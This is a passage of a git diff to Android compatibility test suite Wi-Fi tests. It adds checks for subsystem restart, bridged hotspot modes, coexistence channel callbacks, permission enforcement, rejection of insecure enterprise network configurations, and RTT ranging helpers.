 import java.util.ArrayList;
 import java.util.Arrays;
+import java.util.Collections;
 import java.util.HashMap;
 import java.util.HashSet;
 import java.util.List;
@@ -172,6 +182,7 @@
     private static final String TYPE_WIFI_CONFIG = "application/x-wifi-config";
     private static final String TEST_PSK_CAP = "[RSN-PSK-CCMP]";
     private static final String TEST_BSSID = "00:01:02:03:04:05";
+    public static final String TEST_DOM_SUBJECT_MATCH = "domSubjectMatch";
 
     private IntentFilter mIntentFilter;
     private final BroadcastReceiver mReceiver = new BroadcastReceiver() {
@@ -240,6 +251,25 @@
             mProvisioningComplete = true;
         }
     };
+    private int mSubsystemRestartStatus = 0; // 0: nada, 1: restarting, 2: restarted
+    private SubsystemRestartTrackingCallback mSubsystemRestartTrackingCallback =
+            new SubsystemRestartTrackingCallback() {
+                @Override
+                public void onSubsystemRestarting() {
+                    synchronized (mLock) {
+                        mSubsystemRestartStatus = 1;
+                        mLock.notify();
+                    }
+                }
+
+                @Override
+                public void onSubsystemRestarted() {
+                    synchronized (mLock) {
+                        mSubsystemRestartStatus = 2;
+                        mLock.notify();
+                    }
+                }
+            };
     private static final String TEST_SSID = "TEST SSID";
     private static final String TEST_FRIENDLY_NAME = "Friendly Name";
     private static final Map<String, String> TEST_FRIENDLY_NAMES =
@@ -493,6 +523,61 @@
     }
 
     /**
+     * Restart WiFi subsystem - verify that privileged call fails.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testRestartWifiSubsystemShouldFailNoPermission() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        try {
+            mWifiManager.restartWifiSubsystem("CTS triggered");
+            fail("The restartWifiSubsystem should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Restart WiFi subsystem and verify transition through states.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testRestartWifiSubsystem() throws Exception {
+        mSubsystemRestartStatus = 0; // 0: uninitialized
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            mWifiManager.registerSubsystemRestartTrackingCallback(mExecutor,
+                    mSubsystemRestartTrackingCallback);
+            synchronized (mLock) {
+                mWifiManager.restartWifiSubsystem("CTS triggered");
+                mLock.wait(TEST_WAIT_DURATION_MS);
+            }
+            assertEquals(mSubsystemRestartStatus, 1); // 1: restarting
+            waitForExpectedWifiState(false);
+            assertFalse(mWifiManager.isWifiEnabled());
+            synchronized (mLock) {
+                mLock.wait(TEST_WAIT_DURATION_MS);
+                assertEquals(mSubsystemRestartStatus, 2); // 2: restarted
+            }
+            waitForExpectedWifiState(true);
+            assertTrue(mWifiManager.isWifiEnabled());
+        } finally {
+            // cleanup
+            mWifiManager.unregisterWifiSubsystemRestartTrackingCallback(
+                    mSubsystemRestartTrackingCallback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
      * test point of wifiManager properties:
      * 1.enable properties
      * 2.DhcpInfo properties
@@ -633,16 +718,19 @@
         Object softApLock;
         int currentState;
         int currentFailureReason;
+        List<SoftApInfo> apInfoList = new ArrayList<>();
+        Map<SoftApInfo, List<WifiClient>> apInfoClients = new HashMap<>();
         List<WifiClient> currentClientList;
-        SoftApInfo currentSoftApInfo;
         SoftApCapability currentSoftApCapability;
         MacAddress lastBlockedClientMacAddress;
         int lastBlockedClientReason;
         boolean onStateChangedCalled = false;
         boolean onSoftApCapabilityChangedCalled = false;
         boolean onConnectedClientCalled = false;
+        boolean onConnectedClientChangedWithInfoCalled = false;
         boolean onBlockedClientConnectingCalled = false;
         int onSoftapInfoChangedCalledCount = 0;
+        int onSoftapInfoChangedWithListCalledCount = 0;
 
         TestSoftApCallback(Object lock) {
             softApLock = lock;
@@ -660,12 +748,24 @@
             }
         }
 
+        public int getOnSoftApInfoChangedWithListCalledCount() {
+            synchronized(softApLock) {
+                return onSoftapInfoChangedWithListCalledCount;
+            }
+        }
+
         public boolean getOnSoftApCapabilityChangedCalled() {
             synchronized(softApLock) {
                 return onSoftApCapabilityChangedCalled;
             }
         }
 
+        public boolean getOnConnectedClientChangedWithInfoCalled() {
+            synchronized(softApLock) {
+                return onConnectedClientChangedWithInfoCalled;
+            }
+        }
+
         public boolean getOnConnectedClientCalled() {
             synchronized(softApLock) {
                 return onConnectedClientCalled;
@@ -692,13 +792,19 @@
 
         public List<WifiClient> getCurrentClientList() {
             synchronized(softApLock) {
-                return currentClientList;
+                return new ArrayList<>(currentClientList);
             }
         }
 
         public SoftApInfo getCurrentSoftApInfo() {
             synchronized(softApLock) {
-                return currentSoftApInfo;
+                return apInfoList.size() > 0 ? apInfoList.get(0) : null;
+            }
+        }
+
+        public List<SoftApInfo> getCurrentSoftApInfoList() {
+            synchronized(softApLock) {
+                return new ArrayList<>(apInfoList);
             }
         }
 
@@ -738,9 +844,26 @@
         }
 
         @Override
+        public void onConnectedClientsChanged(SoftApInfo info, List<WifiClient> clients) {
+            synchronized(softApLock) {
+                apInfoClients.put(info, clients);
+                onConnectedClientChangedWithInfoCalled = true;
+            }
+        }
+
+        @Override
+        public void onInfoChanged(List<SoftApInfo> infoList) {
+            synchronized(softApLock) {
+                apInfoList = new ArrayList<>(infoList);
+                onSoftapInfoChangedWithListCalledCount++;
+            }
+        }
+
+        @Override
         public void onInfoChanged(SoftApInfo softApInfo) {
             synchronized(softApLock) {
-                currentSoftApInfo = softApInfo;
+                apInfoList.clear();
+                apInfoList.add(softApInfo);
                 onSoftapInfoChangedCalledCount++;
             }
         }
@@ -1581,6 +1704,14 @@
         if (BuildCompat.isAtLeastS()) {
             assertEquals(currentConfig.getMacRandomizationSetting(),
                     testSoftApConfig.getMacRandomizationSetting());
+            assertTrue(Arrays.equals(currentConfig.getBands(),
+                    testSoftApConfig.getBands()));
+            assertEquals(currentConfig.getChannels().toString(),
+                    testSoftApConfig.getChannels().toString());
+            assertEquals(currentConfig.isBridgedModeOpportunisticShutdownEnabled(),
+                    testSoftApConfig.isBridgedModeOpportunisticShutdownEnabled());
+            assertEquals(currentConfig.isIeee80211axEnabled(),
+                    testSoftApConfig.isIeee80211axEnabled());
         }
     }
 
@@ -1602,6 +1733,156 @@
         }
     }
 
+    private void verifyBridgedModeSoftApCallback(TestExecutor executor,
+            TestSoftApCallback callback, boolean shouldFallbackSingleApMode, boolean isEnabled)
+            throws Exception {
+            // Verify state and info callback value as expected
+            PollingCheck.check(
+                    "SoftAp state and info on bridged AP mode are mismatch!!!"
+                    + " shouldFallbackSingleApMode = " + shouldFallbackSingleApMode
+                    + ", isEnabled = "  + isEnabled, 5_000,
+                    () -> {
+                        executor.runAll();
+                        int expectedState = isEnabled ? WifiManager.WIFI_AP_STATE_ENABLED
+                                : WifiManager.WIFI_AP_STATE_DISABLED;
+                        int expectedInfoSize = isEnabled
+                                ? (shouldFallbackSingleApMode ? 1 : 2) : 0;
+                        return expectedState == callback.getCurrentState()
+                                && callback.getCurrentSoftApInfoList().size() == expectedInfoSize;
+                    });
+    }
+
+    private boolean shouldFallbackToSingleAp(int[] bands, SoftApCapability capability) {
+        for (int band : bands) {
+            if (capability.getSupportedChannelList(band).length == 0) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * Test bridged AP enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedAp() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+
+            // Test bridged SoftApConfiguration set and get (setBands)
+            SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                    .setSsid(TEST_SSID_UNQUOTED)
+                    .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                    .setBands(new int[] {
+                    SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ})
+                    .build();
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(testSoftApConfig.getBands(),
+                    callback.getCurrentSoftApCapability());
+            verifySetGetSoftApConfig(testSoftApConfig);
+
+            // start tethering which used to verify startTetheredHotspot
+            mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                new TetheringManager.StartTetheringCallback() {
+                    @Override
+                    public void onTetheringFailed(final int result) {
+                    }
+                });
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, true /* enabled */);
+            // stop tethering which used to verify stopSoftAp
+            mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+            verifyBridgedModeSoftApCallback(executor, callback,
+                    shouldFallbackToSingleAp, false /* disabled */);
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+    /**
+     * Test bridged AP with forced channel config enable succeeful when device supports it.
+     * Also verify the callback info update correctly.
+     * @throws Exception
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testTetheredBridgedApWifiForcedChannel() throws Exception {
+        // check that softap bridged mode is supported by the device
+        if (!mWifiManager.isBridgedApConcurrencySupported()) {
+            return;
+        }
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        TestExecutor executor = new TestExecutor();
+        TestSoftApCallback callback = new TestSoftApCallback(mLock);
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Off/On Wifi to make sure that we get the supported channel
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            mWifiManager.setWifiEnabled(true);
+            PollingCheck.check(
+                "Wifi turn on failed!", 2_000,
+                () -> mWifiManager.isWifiEnabled() == true);
+            turnOffWifiAndTetheredHotspotIfEnabled();
+            verifyRegisterSoftApCallback(executor, callback);
+
+            boolean shouldFallbackToSingleAp = shouldFallbackToSingleAp(
+                    new int[] {SoftApConfiguration.BAND_2GHZ, SoftApConfiguration.BAND_5GHZ},
+                    callback.getCurrentSoftApCapability());
+
+            // Test when there are supported channels in both of the bands.
+            if (!shouldFallbackToSingleAp) {
+                // Test bridged SoftApConfiguration set and get (setChannels)
+                SparseIntArray dual_channels = new SparseIntArray(2);
+                dual_channels.put(SoftApConfiguration.BAND_2GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_2GHZ)[0]);
+                dual_channels.put(SoftApConfiguration.BAND_5GHZ,
+                        callback.getCurrentSoftApCapability()
+                        .getSupportedChannelList(SoftApConfiguration.BAND_5GHZ)[0]);
+                SoftApConfiguration testSoftApConfig = new SoftApConfiguration.Builder()
+                        .setSsid(TEST_SSID_UNQUOTED)
+                        .setPassphrase(TEST_PASSPHRASE, SoftApConfiguration.SECURITY_TYPE_WPA2_PSK)
+                        .setChannels(dual_channels)
+                        .build();
+
+                verifySetGetSoftApConfig(testSoftApConfig);
+
+                // start tethering which used to verify startTetheredHotspot
+                mTetheringManager.startTethering(ConnectivityManager.TETHERING_WIFI, executor,
+                    new TetheringManager.StartTetheringCallback() {
+                        @Override
+                        public void onTetheringFailed(final int result) {
+                        }
+                    });
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, true /* enabled */);
+                // stop tethering which used to verify stopSoftAp
+                mTetheringManager.stopTethering(ConnectivityManager.TETHERING_WIFI);
+                verifyBridgedModeSoftApCallback(executor, callback,
+                        shouldFallbackToSingleAp, false /* disabled */);
+            }
+        } finally {
+            mWifiManager.unregisterSoftApCallback(callback);
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
     /**
      * Verify that the configuration from getSoftApConfiguration is same as the configuration which
      * set by setSoftApConfiguration. And depends softap capability callback to test different
@@ -1673,6 +1954,13 @@
                         SoftApConfiguration.SECURITY_TYPE_WPA3_SAE);
                 verifySetGetSoftApConfig(softApConfigBuilder.build());
             }
+
+            // Test 11 AX control config.
+            if (callback.getCurrentSoftApCapability()
+                    .areFeaturesSupported(SoftApCapability.SOFTAP_FEATURE_IEEE80211_AX)) {
+                softApConfigBuilder.setIeee80211axEnabled(true);
+                verifySetGetSoftApConfig(softApConfigBuilder.build());
+            }
         } finally {
             mWifiManager.unregisterSoftApCallback(callback);
             uiAutomation.dropShellPermissionIdentity();
@@ -2491,11 +2779,20 @@
         // assert that the country code is all uppercase
         assertEquals(wifiCountryCode.toUpperCase(Locale.US), wifiCountryCode);
 
-        if (WifiFeature.isTelephonySupported(getContext())) {
-            String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
-                    .getNetworkCountryIso();
-            assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
+        // skip if Telephony is unsupported
+        if (!WifiFeature.isTelephonySupported(getContext())) {
+            return;
         }
+
+        String telephonyCountryCode = getContext().getSystemService(TelephonyManager.class)
+                .getNetworkCountryIso();
+
+        // skip if Telephony country code is unavailable
+        if (telephonyCountryCode == null || telephonyCountryCode.isEmpty()) {
+            return;
+        }
+
+        assertEquals(telephonyCountryCode, wifiCountryCode.toLowerCase(Locale.US));
     }
 
     /**
@@ -3268,4 +3565,184 @@
             assertTrue(isSupportedWhenWifiEnabled);
         }
     }
+
+    public class TestCoexCallback extends WifiManager.CoexCallback {
+        private Object mCoexLock;
+        private int mOnCoexUnsafeChannelChangedCount;
+
+        TestCoexCallback(Object lock) {
+            mCoexLock = lock;
+        }
+
+        @Override
+        public void onCoexUnsafeChannelsChanged() {
+            synchronized (mCoexLock) {
+                mOnCoexUnsafeChannelChangedCount++;
+                mLock.notify();
+            }
+        }
+
+        public int getOnCoexUnsafeChannelChangedCount() {
+            synchronized (mCoexLock) {
+                return mOnCoexUnsafeChannelChangedCount;
+            }
+        }
+    }
+
+    /**
+     * Test that coex-related methods fail without the needed privileged permissions
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testCoexMethodsShouldFailNoPermission() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        try {
+            mWifiManager.setCoexUnsafeChannels(Collections.emptySet(), 0);
+            fail("setCoexUnsafeChannels should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mWifiManager.getCoexUnsafeChannels();
+            fail("getCoexUnsafeChannels should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        final TestCoexCallback callback = new TestCoexCallback(mLock);
+        try {
+            mWifiManager.registerCoexCallback(mExecutor, callback);
+            fail("registerCoexCallback should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+        try {
+            mWifiManager.unregisterCoexCallback(callback);
+            fail("unregisterCoexCallback should not succeed - privileged call");
+        } catch (SecurityException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Test that coex-related methods succeed in setting the current unsafe channels and notifying
+     * the listener. Since the default coex algorithm may be enabled, no-op is also valid behavior.
+     */
+    // TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testListenOnCoexUnsafeChannels() {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+
+        // These below API's only work with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        Set<CoexUnsafeChannel> prevUnsafeChannels = null;
+        int prevRestrictions = -1;
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+            // Save the current state to reset after the test.
+            prevUnsafeChannels = mWifiManager.getCoexUnsafeChannels();
+            prevRestrictions = mWifiManager.getCoexRestrictions();
+
+            // Register callback
+            final TestCoexCallback callback = new TestCoexCallback(mLock);
+            mWifiManager.registerCoexCallback(mExecutor, callback);
+            Set<CoexUnsafeChannel> unsafeChannels = new HashSet<>();
+            unsafeChannels.add(new CoexUnsafeChannel(WIFI_BAND_24_GHZ, 6));
+            final int restrictions = COEX_RESTRICTION_WIFI_DIRECT | COEX_RESTRICTION_SOFTAP
+                    | COEX_RESTRICTION_WIFI_AWARE;
+
+            synchronized (mLock) {
+                try {
+                    // Callback should be called if the default algorithm is disabled.
+                    mWifiManager.setCoexUnsafeChannels(unsafeChannels, restrictions);
+                    mWifiManager.unregisterCoexCallback(callback);
+                    // Callback should not be called here since it was unregistered.
+                    mWifiManager.setCoexUnsafeChannels(unsafeChannels, restrictions);
+                    // now wait for callback
+                    mLock.wait(TEST_WAIT_DURATION_MS);
+                } catch (InterruptedException e) {
+                    fail("Thread interrupted unexpectedly while waiting on mLock");
+                }
+            }
+
+            if (callback.mOnCoexUnsafeChannelChangedCount == 0) {
+                // Default algorithm enabled, setter should have done nothing
+                assertEquals(prevUnsafeChannels, mWifiManager.getCoexUnsafeChannels());
+                assertEquals(prevRestrictions, mWifiManager.getCoexRestrictions());
+            } else if (callback.mOnCoexUnsafeChannelChangedCount == 1) {
+                // Default algorithm disabled, setter should set the getter values.
+                assertEquals(unsafeChannels, mWifiManager.getCoexUnsafeChannels());
+                assertEquals(restrictions, mWifiManager.getCoexRestrictions());
+            } else {
+                fail("Coex callback called " + callback.mOnCoexUnsafeChannelChangedCount
+                        + " times. Expected 1 call." );
+            }
+        } finally {
+            // Reset the previous unsafe channels if we overrode them.
+            if (prevRestrictions != -1) {
+                mWifiManager.setCoexUnsafeChannels(prevUnsafeChannels, prevRestrictions);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
+
+
+    /**
+     * Verify that insecure WPA-Enterprise network configurations are rejected.
+     * TODO(b/167575586): Wait for S SDK finalization to determine the final minSdkVersion.
+     */
+    @SdkSuppress(minSdkVersion = 31, codeName = "S")
+    public void testInsecureEnterpriseConfigurationsRejected() throws Exception {
+        if (!WifiFeature.isWifiSupported(getContext())) {
+            // skip the test if WiFi is not supported
+            return;
+        }
+        WifiConfiguration wifiConfiguration = new WifiConfiguration();
+        wifiConfiguration.SSID = SSID1;
+        wifiConfiguration.setSecurityParams(WifiConfiguration.SECURITY_TYPE_EAP_WPA3_ENTERPRISE);
+        wifiConfiguration.enterpriseConfig.setEapMethod(WifiEnterpriseConfig.Eap.TTLS);
+        int networkId = INVALID_NETWORK_ID;
+
+        // These below API's only work with privileged permissions (obtained via shell identity
+        // for test)
+        UiAutomation uiAutomation = InstrumentationRegistry.getInstrumentation().getUiAutomation();
+        try {
+            uiAutomation.adoptShellPermissionIdentity();
+
+            // Verify that an insecure network is rejected
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.addNetwork(wifiConfiguration));
+
+            // Now configure it correctly with a Root CA cert and domain name
+            wifiConfiguration.enterpriseConfig.setCaCertificate(FakeKeys.CA_CERT0);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(TEST_DOM_SUBJECT_MATCH);
+
+            // Verify that the network is added
+            networkId = mWifiManager.addNetwork(wifiConfiguration);
+            assertNotEquals(INVALID_NETWORK_ID, networkId);
+
+            // Verify that the update API accepts configurations configured securely
+            wifiConfiguration.networkId = networkId;
+            assertEquals(networkId, mWifiManager.updateNetwork(wifiConfiguration));
+
+            // Now clear the security configuration
+            wifiConfiguration.enterpriseConfig.setCaCertificate(null);
+            wifiConfiguration.enterpriseConfig.setAltSubjectMatch(null);
+
+            // Verify that the update API rejects insecure configurations
+            assertEquals(INVALID_NETWORK_ID, mWifiManager.updateNetwork(wifiConfiguration));
+        } finally {
+            if (networkId != INVALID_NETWORK_ID) {
+                // Clean up the previously added network
+                mWifiManager.removeNetwork(networkId);
+            }
+            uiAutomation.dropShellPermissionIdentity();
+        }
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
index 8be0ac6..d819f2c 100644
--- a/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/cts/WifiNetworkSpecifierTest.java
@@ -16,6 +16,7 @@
 
 package android.net.wifi.cts;
 
+import static android.net.NetworkCapabilitiesProto.NET_CAPABILITY_INTERNET;
 import static android.net.NetworkCapabilitiesProto.TRANSPORT_WIFI;
 import static android.os.Process.myUid;
 
@@ -49,6 +50,7 @@
 import android.support.test.uiautomator.UiDevice;
 import android.text.TextUtils;
 
+import androidx.core.os.BuildCompat;
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
@@ -83,7 +85,6 @@
  * ConnectivityManager.NetworkCallback)}.
  *
  * Assumes that all the saved networks is either open/WPA1/WPA2/WPA3 authenticated network.
- * TODO(b/150716005): Use assumeTrue for wifi support check.
  */
 @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
 @SmallTest
@@ -206,9 +207,9 @@
     public static void setUpClass() throws Exception {
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         // skip the test if WiFi is not supported
-        assumeTrue(WifiFeature.isWifiSupported(context));
+        if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertNotNull(wifiManager);
 
         // turn on verbose logging for tests
@@ -246,7 +247,7 @@
         Context context = InstrumentationRegistry.getInstrumentation().getContext();
         if (!WifiFeature.isWifiSupported(context)) return;
 
-        WifiManager wifiManager = (WifiManager) context.getSystemService(Context.WIFI_SERVICE);
+        WifiManager wifiManager = context.getSystemService(WifiManager.class);
         assertNotNull(wifiManager);
 
         if (!wifiManager.isWifiEnabled()) setWifiEnabled(true);
@@ -271,9 +272,17 @@
         mConnectivityManager = mContext.getSystemService(ConnectivityManager.class);
         mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
 
+        assumeTrue(WifiFeature.isWifiSupported(mContext));
+
         // turn screen on
         turnScreenOn();
 
+        // Clear any existing app state before each test.
+        if (BuildCompat.isAtLeastS()) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
+
         List<WifiConfiguration> savedNetworks = ShellIdentityUtils.invokeWithShellPermissions(
                 () -> mWifiManager.getPrivilegedConfiguredNetworks());
         // Pick the last saved network on the device (assumes that it is in range)
@@ -292,6 +301,11 @@
         if (mNetworkCallback != null) {
             mConnectivityManager.unregisterNetworkCallback(mNetworkCallback);
         }
+        // Clear any existing app state after each test.
+        if (BuildCompat.isAtLeastS()) {
+            ShellIdentityUtils.invokeWithShellPermissions(
+                    () -> mWifiManager.removeAppState(myUid(), mContext.getPackageName()));
+        }
         turnScreenOff();
     }
 
@@ -478,6 +492,7 @@
                 mConnectivityManager.requestNetwork(
                         new NetworkRequest.Builder()
                                 .addTransportType(TRANSPORT_WIFI)
+                                .removeCapability(NET_CAPABILITY_INTERNET)
                                 .setNetworkSpecifier(specifier)
                                 .build(),
                         mNetworkCallback);
@@ -531,8 +546,8 @@
             } else {
                 fail("Unsupported security type found in saved networks");
             }
-        } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
-            specifierBuilder.setIsEnhancedOpen(false);
+        } else if (mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.OWE)) {
+            specifierBuilder.setIsEnhancedOpen(true);
         } else if (!mTestNetwork.allowedKeyManagement.get(WifiConfiguration.KeyMgmt.NONE)) {
             fail("Unsupported security type found in saved networks");
         }
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
index c70d400..5a3730a 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/TestBase.java
@@ -58,6 +58,9 @@
     // Interval between failure scans
     private static final int INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS = 5_000;
 
+    // 5GHz Frequency band
+    private static final int FREQUENCY_OF_5GHZ_BAND_IN_MHZ = 5_000;
+
     protected WifiRttManager mWifiRttManager;
     protected WifiManager mWifiManager;
     private LocationManager mLocationManager;
@@ -232,7 +235,7 @@
      *
      * @param numScanRetries Maximum number of scans retries (in addition to first scan).
      */
-    protected ScanResult scanForTestAp(int numScanRetries)
+    protected ScanResult scanForTest11mcCapableAp(int numScanRetries)
             throws InterruptedException {
         int scanCount = 0;
         ScanResult bestTestAp = null;
@@ -253,4 +256,37 @@
         }
         return bestTestAp;
     }
+
+    /**
+     * Start a scan and return a test AP which does NOT support IEEE 802.11mc, with a BSS in the
+     * 5GHz band, and which has the highest RSSI. Will perform N (parameterized) scans and get
+     * the best AP across all scan results.
+     *
+     * Returns null if test AP is not found in the specified number of scans.
+     *
+     * @param numScanRetries Maximum number of scans retries (in addition to first scan).
+     */
+    protected ScanResult scanForTestNon11mcCapableAp(int numScanRetries)
+            throws InterruptedException {
+        int scanCount = 0;
+        ScanResult bestTestAp = null;
+        while (scanCount <= numScanRetries) {
+            for (ScanResult scanResult : scanAps()) {
+                // Ensure using a 5GHz or greater channel
+                if (scanResult.is80211mcResponder()
+                        || scanResult.centerFreq0 < FREQUENCY_OF_5GHZ_BAND_IN_MHZ) {
+                    continue;
+                }
+                if (bestTestAp == null || scanResult.level > bestTestAp.level) {
+                    bestTestAp = scanResult;
+                }
+            }
+            if (bestTestAp == null) {
+                // Ongoing connection may cause scan failure, wait for a while before next scan.
+                Thread.sleep(INTERVAL_BETWEEN_FAILURE_SCAN_MILLIS);
+            }
+            scanCount++;
+        }
+        return bestTestAp;
+    }
 }
diff --git a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
index cfd6448..7c828d6 100644
--- a/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
+++ b/tests/tests/wifi/src/android/net/wifi/rtt/cts/WifiRttTest.java
@@ -26,6 +26,8 @@
 import android.net.wifi.rtt.ResponderLocation;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.core.os.BuildCompat;
+
 import com.android.compatibility.common.util.DeviceReportLog;
 import com.android.compatibility.common.util.ResultType;
 import com.android.compatibility.common.util.ResultUnit;
@@ -68,19 +70,25 @@
      *   - Failure ratio < threshold (constant)
      *   - Result margin < threshold (constant)
      */
-    public void testRangingToTestAp() throws InterruptedException {
+    public void testRangingToTest11mcAp() throws InterruptedException {
         if (!shouldTestWifiRtt(getContext())) {
             return;
         }
 
         // Scan for IEEE 802.11mc supporting APs
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
 
         // Perform RTT operations
-        RangingRequest request = new RangingRequest.Builder().addAccessPoint(testAp).build();
+        RangingRequest.Builder builder = new RangingRequest.Builder();
+        builder.addAccessPoint(testAp);
+        if (BuildCompat.isAtLeastS()) {
+            builder.setRttBurstSize(RangingRequest.getMaxRttBurstSize());
+        }
+        RangingRequest request = builder.build();
+
         List<RangingResult> allResults = new ArrayList<>();
         int numFailures = 0;
         int distanceSum = 0;
@@ -116,6 +124,14 @@
             int status = result.getStatus();
             statuses[i] = status;
             if (status == RangingResult.STATUS_SUCCESS) {
+                if (BuildCompat.isAtLeastS()) {
+                    assertEquals(
+                            "Wi-Fi RTT results: invalid result (wrong rttBurstSize) entry on "
+                                    + "iteration "
+                                    + i,
+                            result.getNumAttemptedMeasurements(),
+                            RangingRequest.getMaxRttBurstSize());
+                }
                 distanceSum += result.getDistanceMm();
                 if (i == 0) {
                     distanceMin = result.getDistanceMm();
@@ -198,7 +214,7 @@
         if (!shouldTestWifiRtt(getContext())) {
             return;
         }
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
                 "Cannot find any test APs which support RTT / IEEE 802.11mc - please verify that "
                         + "your test setup includes them!", testAp);
@@ -233,7 +249,7 @@
             return;
         }
         // Scan for IEEE 802.11mc supporting APs
-        ScanResult testAp = scanForTestAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
+        ScanResult testAp = scanForTest11mcCapableAp(NUM_SCANS_SEARCHING_FOR_IEEE80211MC_AP);
         assertNotNull(
